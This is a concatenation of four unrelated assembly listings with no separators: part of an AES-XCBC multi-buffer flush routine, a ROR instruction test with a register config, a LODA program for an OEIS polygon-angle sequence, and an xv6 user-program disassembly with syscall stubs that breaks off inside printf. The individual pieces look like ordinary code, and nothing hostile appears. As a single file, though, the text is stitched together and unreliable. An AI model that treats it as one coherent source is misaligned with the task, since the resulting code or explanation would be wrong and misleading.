0x0000000000000000 one: dq 1 two: dq 2 three: dq 3 section .text %define APPEND(a,b) a %+ b %ifdef LINUX %define arg1 rdi %define arg2 rsi %else %define arg1 rcx %define arg2 rdx %endif %define state arg1 %define job arg2 %define len2 arg2 %define job_rax rax %if 1 %define unused_lanes rbx %define tmp1 rbx %define icv rdx %define tmp2 rax ; idx needs to be in rbp %define tmp r10 %define idx rbp %define tmp3 r8 %define lane_data r9 %endif ; STACK_SPACE needs to be an odd multiple of 8 ; This routine and its callee clobbers all GPRs struc STACK _gpr_save: resq 8 _rsp_save: resq 1 endstruc ; JOB* FLUSH_JOB_AES_XCBC(MB_MGR_AES_XCBC_OOO *state, IMB_JOB *job) ; arg 1 : state ; arg 2 : job MKGLOBAL(FLUSH_JOB_AES_XCBC,function,internal) FLUSH_JOB_AES_XCBC: endbranch64 mov rax, rsp sub rsp, STACK_size and rsp, -16 mov [rsp + _gpr_save + 8*0], rbx mov [rsp + _gpr_save + 8*1], rbp mov [rsp + _gpr_save + 8*2], r12 mov [rsp + _gpr_save + 8*3], r13 mov [rsp + _gpr_save + 8*4], r14 mov [rsp + _gpr_save + 8*5], r15 %ifndef LINUX mov [rsp + _gpr_save + 8*6], rsi mov [rsp + _gpr_save + 8*7], rdi %endif mov [rsp + _rsp_save], rax ; original SP ; check for empty mov unused_lanes, [state + _aes_xcbc_unused_lanes] bt unused_lanes, 32+7 jc return_null ; find a lane with a non-null job xor idx, idx cmp qword [state + _aes_xcbc_ldata + 1 * _XCBC_LANE_DATA_size + _xcbc_job_in_lane], 0 cmovne idx, [rel one] cmp qword [state + _aes_xcbc_ldata + 2 * _XCBC_LANE_DATA_size + _xcbc_job_in_lane], 0 cmovne idx, [rel two] cmp qword [state + _aes_xcbc_ldata + 3 * _XCBC_LANE_DATA_size + _xcbc_job_in_lane], 0 cmovne idx, [rel three] copy_lane_data: endbranch64 ; copy idx to empty lanes mov tmp1, [state + _aes_xcbc_args_in + idx*8] mov tmp3, [state + _aes_xcbc_args_keys + idx*8] shl idx, 4 ; multiply by 16 movdqa xmm2, [state + _aes_xcbc_args_ICV + idx] movdqa xmm0, [state + _aes_xcbc_lens] %assign I 0 %rep 4 cmp qword [state + _aes_xcbc_ldata + I * _XCBC_LANE_DATA_size + _xcbc_job_in_lane], 0 jne APPEND(skip_,I) mov [state + _aes_xcbc_args_in + I*8], tmp1 mov [state + _aes_xcbc_args_keys + I*8], tmp3 movdqa [state + _aes_xcbc_args_ICV + I*16], xmm2 por xmm0, [rel len_masks + 16*I] APPEND(skip_,I): %assign I (I+1) %endrep movdqa [state + _aes_xcbc_lens], xmm0 ; Find min length phminposuw xmm1, xmm0 pextrw len2, xmm1, 0 ; min value pextrw idx, xmm1, 1 ; min index (0...3) cmp len2, 0 je len_is_0 pshuflw xmm1, xmm1, 0 psubw xmm0, xmm1 movdqa [state + _aes_xcbc_lens], xmm0 ; "state" and "args" are the same address, arg1 ; len is arg2 call AES_XCBC_X4 ; state and idx are intact len_is_0: ; process completed job "idx" imul lane_data, idx, _XCBC_LANE_DATA_size lea lane_data, [state + _aes_xcbc_ldata + lane_data] cmp dword [lane_data + _xcbc_final_done], 0 jne end_loop mov dword [lane_data + _xcbc_final_done], 1 mov word [state + _aes_xcbc_lens + 2*idx], 16 lea tmp, [lane_data + _xcbc_final_block] mov [state + _aes_xcbc_args_in + 8*idx], tmp jmp copy_lane_data end_loop: mov job_rax, [lane_data + _xcbc_job_in_lane] mov icv, [job_rax + _auth_tag_output] mov unused_lanes, [state + _aes_xcbc_unused_lanes] mov qword [lane_data + _xcbc_job_in_lane], 0 or dword [job_rax + _status], IMB_STATUS_COMPLETED_AUTH shl unused_lanes, 8 or unused_lanes, idx shl idx, 4 ; multiply by 16 mov [state + _aes_xcbc_unused_lanes], unused_lanes ; copy 12 bytes movdqa xmm0, [state + _aes_xcbc_args_ICV + idx] movq [icv], xmm0 pextrd [icv + 8], xmm0, 2 %ifdef SAFE_DATA pxor xmm0, xmm0 ;; Clear ICV's and final blocks in returned job and NULL lanes %assign I 0 %rep 4 cmp qword [state + _aes_xcbc_ldata + I * _XCBC_LANE_DATA_size + _xcbc_job_in_lane], 0 jne APPEND(skip_clear_,I) movdqa [state + _aes_xcbc_args_ICV + I*16], xmm0 lea lane_data, [state + _aes_xcbc_ldata + (I * _XCBC_LANE_DATA_size)] movdqa [lane_data + _xcbc_final_block], xmm0 movdqa [lane_data + _xcbc_final_block + 16], xmm0 APPEND(skip_clear_,I): %assign I (I+1) %endrep %endif return: endbranch64 mov rbx, [rsp + _gpr_save + 8*0] mov rbp, [rsp + _gpr_save + 8*1] mov r12, [rsp + _gpr_save + 8*2] mov r13, [rsp + _gpr_save + 8*3] mov r14, [rsp + _gpr_save + 8*4] mov r15, [rsp + _gpr_save + 8*5] %ifndef LINUX mov rsi, [rsp + _gpr_save + 8*6] mov rdi, [rsp + _gpr_save + 8*7] %endif mov rsp, [rsp + _rsp_save] ; original SP ret return_null: xor job_rax, job_rax jmp return %ifdef LINUX section .note.GNU-stack noalloc noexec nowrite progbits %endif
%ifdef CONFIG { "RegData": { "RAX": "0x4142434491514748", "RBX": "0x51525354155595D6", "RCX": "0x195999da185898d9" }, "MemoryRegions": { "0x100000000": "4096" } } %endif mov rdx, 0xe0000000 mov rax, 0x4142434445464748 mov [rdx + 8 * 0], rax mov rax, 0x5152535455565758 mov [rdx + 8 * 1], rax mov rax, 0x6162636465666768 mov [rdx + 8 * 2], rax ror word [rdx + 8 * 0 + 2], 0x62 ror dword [rdx + 8 * 1 + 0], 0x62 ror qword [rdx + 8 * 2 + 0], 0x62 mov rax, [rdx + 8 * 0] mov rbx, [rdx + 8 * 1] mov rcx, [rdx + 8 * 2] hlt
; A100659: Floor of measure (in degrees) of the internal angles of a regular polygon with n sides. ; 60,90,108,120,128,135,140,144,147,150,152,154,156,157,158,160,161,162,162,163,164,165,165,166,166,167,167,168,168,168,169,169,169,170,170,170,170,171,171,171,171,171,172,172,172,172,172,172,172,173,173,173,173,173 mov $3,$0 mul $0,4 mov $2,5 mul $3,4 lpb $0 sub $0,1 add $1,5 lpe mul $1,6 mul $2,4 add $3,5 add $2,$3 div $2,4 sub $2,3 div $1,$2 add $1,60
_set_prio: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "types.h" #include "stat.h" #include "user.h" #include "fcntl.h" int main(void) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 51 push %ecx e: 83 ec 04 sub $0x4,%esp //int newPrio = 500; //setprio(newPrio); exit(); 11: e8 5c 02 00 00 call 272 <exit> 16: 66 90 xchg %ax,%ax 18: 66 90 xchg %ax,%ax 1a: 66 90 xchg %ax,%ax 1c: 66 90 xchg %ax,%ax 1e: 66 90 xchg %ax,%ax 00000020 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 20: 55 push %ebp 21: 89 e5 mov %esp,%ebp 23: 53 push %ebx 24: 8b 45 08 mov 0x8(%ebp),%eax 27: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) 2a: 89 c2 mov %eax,%edx 2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 30: 83 c1 01 add $0x1,%ecx 33: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 37: 83 c2 01 add $0x1,%edx 3a: 84 db test %bl,%bl 3c: 88 5a ff mov %bl,-0x1(%edx) 3f: 75 ef jne 30 <strcpy+0x10> ; return os; } 41: 5b pop %ebx 42: 5d pop %ebp 43: c3 ret 44: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 4a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000050 <strcmp>: int strcmp(const char *p, const char *q) { 50: 55 push %ebp 51: 89 e5 mov %esp,%ebp 53: 53 push %ebx 54: 8b 55 08 mov 0x8(%ebp),%edx 57: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 5a: 0f b6 02 movzbl (%edx),%eax 5d: 0f b6 19 movzbl (%ecx),%ebx 60: 84 c0 test %al,%al 62: 75 1c jne 80 <strcmp+0x30> 64: eb 2a jmp 90 <strcmp+0x40> 66: 8d 76 00 lea 0x0(%esi),%esi 69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; 70: 83 c2 01 add $0x1,%edx while(*p && *p == *q) 73: 0f b6 02 movzbl (%edx),%eax p++, q++; 76: 83 c1 01 add $0x1,%ecx 79: 0f b6 19 movzbl (%ecx),%ebx while(*p && *p == *q) 7c: 84 c0 test %al,%al 7e: 74 10 je 90 <strcmp+0x40> 80: 38 d8 cmp %bl,%al 82: 74 ec je 70 <strcmp+0x20> return (uchar)*p - (uchar)*q; 84: 29 d8 sub %ebx,%eax } 86: 5b pop %ebx 87: 5d pop %ebp 88: c3 ret 89: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 90: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; 92: 29 d8 sub %ebx,%eax } 94: 5b pop %ebx 95: 5d pop %ebp 96: c3 ret 97: 89 f6 mov %esi,%esi 99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000000a0 <strlen>: uint strlen(const char *s) { a0: 55 push %ebp a1: 89 e5 mov %esp,%ebp a3: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) a6: 80 39 00 cmpb $0x0,(%ecx) a9: 74 15 je c0 <strlen+0x20> ab: 31 d2 xor %edx,%edx ad: 8d 76 00 lea 0x0(%esi),%esi b0: 83 c2 01 add $0x1,%edx b3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) b7: 89 d0 mov %edx,%eax b9: 75 f5 jne b0 <strlen+0x10> ; return n; } bb: 5d pop %ebp bc: c3 ret bd: 8d 76 00 lea 0x0(%esi),%esi for(n = 0; s[n]; n++) c0: 31 c0 xor %eax,%eax } c2: 5d pop %ebp c3: c3 ret c4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi ca: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000000d0 <memset>: void* memset(void *dst, int c, uint n) { d0: 55 push %ebp d1: 89 e5 mov %esp,%ebp d3: 57 push %edi d4: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : d7: 8b 4d 10 mov 0x10(%ebp),%ecx da: 8b 45 0c mov 0xc(%ebp),%eax dd: 89 d7 mov %edx,%edi df: fc cld e0: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } e2: 89 d0 mov %edx,%eax e4: 5f pop %edi e5: 5d pop %ebp e6: c3 ret e7: 89 f6 mov %esi,%esi e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000000f0 <strchr>: char* strchr(const char *s, char c) { f0: 55 push %ebp f1: 89 e5 mov %esp,%ebp f3: 53 push %ebx f4: 8b 45 08 mov 0x8(%ebp),%eax f7: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) fa: 0f b6 10 movzbl (%eax),%edx fd: 84 d2 test %dl,%dl ff: 74 1d je 11e <strchr+0x2e> if(*s == c) 101: 38 d3 cmp %dl,%bl 103: 89 d9 mov %ebx,%ecx 105: 75 0d jne 114 <strchr+0x24> 107: eb 17 jmp 120 <strchr+0x30> 109: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 110: 38 ca cmp %cl,%dl 112: 74 0c je 120 <strchr+0x30> for(; *s; s++) 114: 83 c0 01 add $0x1,%eax 117: 0f b6 10 movzbl (%eax),%edx 11a: 84 d2 test %dl,%dl 11c: 75 f2 jne 110 <strchr+0x20> return (char*)s; return 0; 11e: 31 c0 xor %eax,%eax } 120: 5b pop %ebx 121: 5d pop %ebp 122: c3 ret 123: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 129: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000130 <gets>: char* gets(char *buf, int max) { 130: 55 push %ebp 131: 89 e5 mov %esp,%ebp 133: 57 push %edi 134: 56 push %esi 135: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 136: 31 f6 xor %esi,%esi 138: 89 f3 mov %esi,%ebx { 13a: 83 ec 1c sub $0x1c,%esp 13d: 8b 7d 08 mov 0x8(%ebp),%edi for(i=0; i+1 < max; ){ 140: eb 2f jmp 171 <gets+0x41> 142: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 148: 8d 45 e7 lea -0x19(%ebp),%eax 14b: 83 ec 04 sub $0x4,%esp 14e: 6a 01 push $0x1 150: 50 push %eax 151: 6a 00 push $0x0 153: e8 32 01 00 00 call 28a <read> if(cc < 1) 158: 83 c4 10 add $0x10,%esp 15b: 85 c0 test %eax,%eax 15d: 7e 1c jle 17b <gets+0x4b> break; buf[i++] = c; 15f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 163: 83 c7 01 add $0x1,%edi 166: 88 47 ff mov %al,-0x1(%edi) if(c == '\n' || c == '\r') 169: 3c 0a cmp $0xa,%al 16b: 74 23 je 190 <gets+0x60> 16d: 3c 0d cmp $0xd,%al 16f: 74 1f je 190 <gets+0x60> for(i=0; i+1 < max; ){ 171: 83 c3 01 add $0x1,%ebx 174: 3b 5d 0c cmp 0xc(%ebp),%ebx 177: 89 fe mov %edi,%esi 179: 7c cd jl 148 <gets+0x18> 17b: 89 f3 mov %esi,%ebx break; } buf[i] = '\0'; return buf; } 17d: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 180: c6 03 00 movb $0x0,(%ebx) } 183: 8d 65 f4 lea -0xc(%ebp),%esp 186: 5b pop %ebx 187: 5e pop %esi 188: 5f pop %edi 189: 5d pop %ebp 18a: c3 ret 18b: 90 nop 18c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 190: 8b 75 08 mov 0x8(%ebp),%esi 193: 8b 45 08 mov 0x8(%ebp),%eax 196: 01 de add %ebx,%esi 198: 89 f3 mov %esi,%ebx buf[i] = '\0'; 19a: c6 03 00 movb $0x0,(%ebx) } 19d: 8d 65 f4 lea -0xc(%ebp),%esp 1a0: 5b pop %ebx 1a1: 5e pop %esi 1a2: 5f pop %edi 1a3: 5d pop %ebp 1a4: c3 ret 1a5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000001b0 <stat>: int stat(const char *n, struct stat *st) { 1b0: 55 push %ebp 1b1: 89 e5 mov %esp,%ebp 1b3: 56 push %esi 1b4: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 1b5: 83 ec 08 sub $0x8,%esp 1b8: 6a 00 push $0x0 1ba: ff 75 08 pushl 0x8(%ebp) 1bd: e8 f0 00 00 00 call 2b2 <open> if(fd < 0) 1c2: 83 c4 10 add $0x10,%esp 1c5: 85 c0 test %eax,%eax 1c7: 78 27 js 1f0 <stat+0x40> return -1; r = fstat(fd, st); 1c9: 83 ec 08 sub $0x8,%esp 1cc: ff 75 0c pushl 0xc(%ebp) 1cf: 89 c3 mov %eax,%ebx 1d1: 50 push %eax 1d2: e8 f3 00 00 00 call 2ca <fstat> close(fd); 1d7: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 1da: 89 c6 mov %eax,%esi close(fd); 1dc: e8 b9 00 00 00 call 29a <close> return r; 1e1: 83 c4 10 add $0x10,%esp } 1e4: 8d 65 f8 lea -0x8(%ebp),%esp 1e7: 89 f0 mov %esi,%eax 1e9: 5b pop %ebx 1ea: 5e pop %esi 1eb: 5d pop %ebp 1ec: c3 ret 1ed: 8d 76 00 lea 0x0(%esi),%esi return -1; 1f0: be ff ff ff ff mov $0xffffffff,%esi 1f5: eb ed jmp 1e4 <stat+0x34> 1f7: 89 f6 mov %esi,%esi 1f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000200 <atoi>: int atoi(const char *s) { 200: 55 push %ebp 201: 89 e5 mov %esp,%ebp 203: 53 push %ebx 204: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 207: 0f be 11 movsbl (%ecx),%edx 20a: 8d 42 d0 lea -0x30(%edx),%eax 20d: 3c 09 cmp $0x9,%al n = 0; 20f: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 214: 77 1f ja 235 <atoi+0x35> 216: 8d 76 00 lea 0x0(%esi),%esi 219: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 220: 8d 04 80 lea (%eax,%eax,4),%eax 223: 83 c1 01 add $0x1,%ecx 226: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax while('0' <= *s && *s <= '9') 22a: 0f be 11 movsbl (%ecx),%edx 22d: 8d 5a d0 lea -0x30(%edx),%ebx 230: 80 fb 09 cmp $0x9,%bl 233: 76 eb jbe 220 <atoi+0x20> return n; } 235: 5b pop %ebx 236: 5d pop %ebp 237: c3 ret 238: 90 nop 239: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000240 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 240: 55 push %ebp 241: 89 e5 mov %esp,%ebp 243: 56 push %esi 244: 53 push %ebx 245: 8b 5d 10 mov 0x10(%ebp),%ebx 248: 8b 45 08 mov 0x8(%ebp),%eax 24b: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 24e: 85 db test %ebx,%ebx 250: 7e 14 jle 266 <memmove+0x26> 252: 31 d2 xor %edx,%edx 254: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 258: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 25c: 88 0c 10 mov %cl,(%eax,%edx,1) 25f: 83 c2 01 add $0x1,%edx while(n-- > 0) 262: 39 d3 cmp %edx,%ebx 264: 75 f2 jne 258 <memmove+0x18> return vdst; } 266: 5b pop %ebx 267: 5e pop %esi 268: 5d pop %ebp 269: c3 ret 0000026a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 26a: b8 01 00 00 00 mov $0x1,%eax 26f: cd 40 int $0x40 271: c3 ret 00000272 <exit>: SYSCALL(exit) 272: b8 02 00 00 00 mov $0x2,%eax 277: cd 40 int $0x40 279: c3 ret 0000027a <wait>: SYSCALL(wait) 27a: b8 03 00 00 00 mov $0x3,%eax 27f: cd 40 int $0x40 281: c3 ret 00000282 <pipe>: SYSCALL(pipe) 282: b8 04 00 00 00 mov $0x4,%eax 287: cd 40 int $0x40 289: c3 ret 0000028a <read>: SYSCALL(read) 28a: b8 05 00 00 00 mov $0x5,%eax 28f: cd 40 int $0x40 291: c3 ret 00000292 <write>: SYSCALL(write) 292: b8 10 00 00 00 mov $0x10,%eax 297: cd 40 int $0x40 299: c3 ret 0000029a <close>: SYSCALL(close) 29a: b8 15 00 00 00 mov $0x15,%eax 29f: cd 40 int $0x40 2a1: c3 ret 000002a2 <kill>: SYSCALL(kill) 2a2: b8 06 00 00 00 mov $0x6,%eax 2a7: cd 40 int $0x40 2a9: c3 ret 000002aa <exec>: SYSCALL(exec) 2aa: b8 07 00 00 00 mov $0x7,%eax 2af: cd 40 int $0x40 2b1: c3 ret 000002b2 <open>: SYSCALL(open) 2b2: b8 0f 00 00 00 mov $0xf,%eax 2b7: cd 40 int $0x40 2b9: c3 ret 000002ba <mknod>: SYSCALL(mknod) 2ba: b8 11 00 00 00 mov $0x11,%eax 2bf: cd 40 int $0x40 2c1: c3 ret 000002c2 <unlink>: SYSCALL(unlink) 2c2: b8 12 00 00 00 mov $0x12,%eax 2c7: cd 40 int $0x40 2c9: c3 ret 000002ca <fstat>: SYSCALL(fstat) 2ca: b8 08 00 00 00 mov $0x8,%eax 2cf: cd 40 int $0x40 2d1: c3 ret 000002d2 <link>: SYSCALL(link) 2d2: b8 13 00 00 00 mov $0x13,%eax 2d7: cd 40 int $0x40 2d9: c3 ret 000002da <mkdir>: SYSCALL(mkdir) 2da: b8 14 00 00 00 mov $0x14,%eax 2df: cd 40 int $0x40 2e1: c3 ret 000002e2 <chdir>: SYSCALL(chdir) 2e2: b8 09 00 00 00 mov $0x9,%eax 2e7: cd 40 int $0x40 2e9: c3 ret 000002ea <dup>: SYSCALL(dup) 2ea: b8 0a 00 00 00 mov $0xa,%eax 2ef: cd 40 int $0x40 2f1: c3 ret 000002f2 <getpid>: SYSCALL(getpid) 2f2: b8 0b 00 00 00 mov $0xb,%eax 2f7: cd 40 int $0x40 2f9: c3 ret 000002fa <sbrk>: SYSCALL(sbrk) 2fa: b8 0c 00 00 00 mov $0xc,%eax 2ff: cd 40 int $0x40 301: c3 ret 00000302 <sleep>: SYSCALL(sleep) 302: b8 0d 00 00 00 mov $0xd,%eax 307: cd 40 int $0x40 309: c3 ret 0000030a <uptime>: SYSCALL(uptime) 30a: b8 0e 00 00 00 mov $0xe,%eax 30f: cd 40 int $0x40 311: c3 ret 00000312 <hello>: SYSCALL(hello) 312: b8 16 00 00 00 mov $0x16,%eax 317: cd 40 int $0x40 319: c3 ret 0000031a <helloname>: SYSCALL(helloname) 31a: b8 17 00 00 00 mov $0x17,%eax 31f: cd 40 int $0x40 321: c3 ret 00000322 <getnumproc>: SYSCALL(getnumproc) 322: b8 18 00 00 00 mov $0x18,%eax 327: cd 40 int $0x40 329: c3 ret 0000032a <getmaxpid>: SYSCALL(getmaxpid) 32a: b8 19 00 00 00 mov $0x19,%eax 32f: cd 40 int $0x40 331: c3 ret 00000332 <getprocinfo>: SYSCALL(getprocinfo) 332: b8 1a 00 00 00 mov $0x1a,%eax 337: cd 40 int $0x40 339: c3 ret 0000033a <setprio>: SYSCALL(setprio) 33a: b8 1b 00 00 00 mov $0x1b,%eax 33f: cd 40 int $0x40 341: c3 ret 00000342 <getprio>: SYSCALL(getprio) 342: b8 1c 00 00 00 mov $0x1c,%eax 347: cd 40 int $0x40 349: c3 ret 34a: 66 90 xchg %ax,%ax 34c: 66 90 xchg %ax,%ax 34e: 66 90 xchg %ax,%ax 00000350 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 350: 55 push %ebp 351: 89 e5 mov %esp,%ebp 353: 57 push %edi 354: 56 push %esi 355: 53 push %ebx 356: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 359: 85 d2 test %edx,%edx { 35b: 89 45 c0 mov %eax,-0x40(%ebp) neg = 1; x = -xx; 35e: 89 d0 mov %edx,%eax if(sgn && xx < 0){ 360: 79 76 jns 3d8 <printint+0x88> 362: f6 45 08 01 testb $0x1,0x8(%ebp) 366: 74 70 je 3d8 <printint+0x88> x = -xx; 368: f7 d8 neg %eax neg = 1; 36a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) } else { x = xx; } i = 0; 371: 31 f6 xor %esi,%esi 373: 8d 5d d7 lea -0x29(%ebp),%ebx 376: eb 0a jmp 382 <printint+0x32> 378: 90 nop 379: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi do{ buf[i++] = digits[x % base]; 380: 89 fe mov %edi,%esi 382: 31 d2 xor %edx,%edx 384: 8d 7e 01 lea 0x1(%esi),%edi 387: f7 f1 div %ecx 389: 0f b6 92 50 07 00 00 movzbl 0x750(%edx),%edx }while((x /= base) != 0); 390: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 392: 88 14 3b mov %dl,(%ebx,%edi,1) }while((x /= base) != 0); 395: 75 e9 jne 380 <printint+0x30> if(neg) 397: 8b 45 c4 mov -0x3c(%ebp),%eax 39a: 85 c0 test %eax,%eax 39c: 74 08 je 3a6 <printint+0x56> buf[i++] = '-'; 39e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1) 3a3: 8d 7e 02 lea 0x2(%esi),%edi 3a6: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi 3aa: 8b 7d c0 mov -0x40(%ebp),%edi 3ad: 8d 76 00 lea 0x0(%esi),%esi 3b0: 0f b6 06 movzbl (%esi),%eax write(fd, &c, 1); 3b3: 83 ec 04 sub $0x4,%esp 3b6: 83 ee 01 sub $0x1,%esi 3b9: 6a 01 push $0x1 3bb: 53 push %ebx 3bc: 57 push %edi 3bd: 88 45 d7 mov %al,-0x29(%ebp) 3c0: e8 cd fe ff ff call 292 <write> while(--i >= 0) 3c5: 83 c4 10 add $0x10,%esp 3c8: 39 de cmp %ebx,%esi 3ca: 75 e4 jne 3b0 <printint+0x60> putc(fd, buf[i]); } 3cc: 8d 65 f4 lea -0xc(%ebp),%esp 3cf: 5b pop %ebx 3d0: 5e pop %esi 3d1: 5f pop %edi 3d2: 5d pop %ebp 3d3: c3 ret 3d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 3d8: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 3df: eb 90 jmp 371 <printint+0x21> 3e1: eb 0d jmp 3f0 <printf> 3e3: 90 nop 3e4: 90 nop 3e5: 90 nop 3e6: 90 nop 3e7: 90 nop 3e8: 90 nop 3e9: 90 nop 3ea: 90 nop 3eb: 90 nop 3ec: 90 nop 3ed: 90 nop 3ee: 90 nop 3ef: 90 nop 000003f0 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 3f0: 55 push %ebp 3f1: 89 e5 mov %esp,%ebp 3f3: 57 push %edi 3f4: 56 push %esi 3f5: 53 push %ebx 3f6: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 3f9: 8b 75 0c mov 0xc(%ebp),%esi 3fc: 0f b6 1e movzbl (%esi),%ebx 3ff: 84 db test %bl,%bl 401: 0f 84 b3 00 00 00 je 4ba <printf+0xca> ap = (uint*)(void*)&fmt + 1; 407: 8d 45 10 lea 0x10(%ebp),%eax 40a: 83 c6 01 add $0x1,%esi state = 0; 40d: 31 ff xor %edi,%edi ap = (uint*)(void*)&fmt + 1; 40f: 89 45 d4 mov %eax,-0x2c(%ebp) 412: eb 2f jmp 443 <printf+0x53> 414: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 418: 83 f8 25 cmp $0x25,%eax 41b: 0f 84 a7 00 00 00 je 4c8 <printf+0xd8> write(fd, &c, 1); 421: 8d 45 e2 lea -0x1e(%ebp),%eax 424: 83 ec 04 sub $0x4,%esp 427: 88 5d e2 mov %bl,-0x1e(%ebp) 42a: 6a 01 push $0x1 42c: 50 push %eax 42d: ff 75 08 pushl 0x8(%ebp) 430: e8 5d fe ff ff call 292 <write> 435: 83 c4 10 add $0x10,%esp 438: 83 c6 01 add $0x1,%esi for(i = 0; fmt[i]; i++){ 43b: 0f b6 5e ff movzbl -0x1(%esi),%ebx 43f: 84 db test %bl,%bl 441: 74 77 je 4ba <printf+0xca> if(state == 0){ 443: 85 ff test %edi,%edi c = fmt[i] & 0xff; 445: 0f be cb movsbl %bl,%ecx 448: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 44b: 74 cb je 418 <printf+0x28> state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 44d: 83 ff 25 cmp $0x25,%edi 450: 75 e6 jne 438 <printf+0x48> if(c == 'd'){ 452: 83 f8 64 cmp $0x64,%eax 455: 0f 84 05 01 00 00 je 560 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 45b: 81 e1 f7 00 00 00 and $0xf7,%ecx 461: 83 f9 70 cmp $0x70,%ecx 464: 74 72 je 4d8 <printf+0xe8> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 466: 83 f8 73 cmp $0x73,%eax 469: 0f 84 99 00 00 00 je 508 <printf+0x118> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 46f: 83 f8 63 cmp $0x63,%eax 472: 0f 84 08 01 00 00 je 580 <printf+0x190> putc(fd, *ap); ap++; } else if(c == '%'){ 478: 83 f8 25 cmp $0x25,%eax 47b: 0f 84 ef 00 00 00 je 570 <printf+0x180> write(fd, &c, 1); 481: 8d 45 e7 lea -0x19(%ebp),%eax 484: 83 ec 04 sub $0x4,%esp 487: c6 45 e7 25 movb $0x25,-0x19(%ebp) 48b: 6a 01 push $0x1 48d: 50 push %eax 48e: ff 75 08 pushl 0x8(%ebp) 491: e8 fc fd ff ff call 292 <write> 496: 83 c4 0c add $0xc,%esp 499: 8d 45 e6 lea -0x1a(%ebp),%eax 49c: 88 5d e6 mov %bl,-0x1a(%ebp) 49f: 6a 01 push $0x1 4a1: 50 push %eax 4a2: ff 75 08 pushl 0x8(%ebp) 4a5: 83 c6 01 add $0x1,%esi } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 4a8: 31 ff xor %edi,%edi write(fd, &c, 1); 4aa: e8 e3 fd ff ff call 292 <write> for(i = 0; fmt[i]; i++){ 4af: 0f b6 5e ff movzbl -0x1(%esi),%ebx write(fd, &c, 1); 4b3: 83 c4 10 add $0x10,%esp for(i = 0; fmt[i]; i++){ 4b6: 84 db test %bl,%bl 4b8: 75 89 jne 443 <printf+0x53> } } } 4ba: 8d 65 f4 lea -0xc(%ebp),%esp 4bd: 5b pop %ebx 4be: 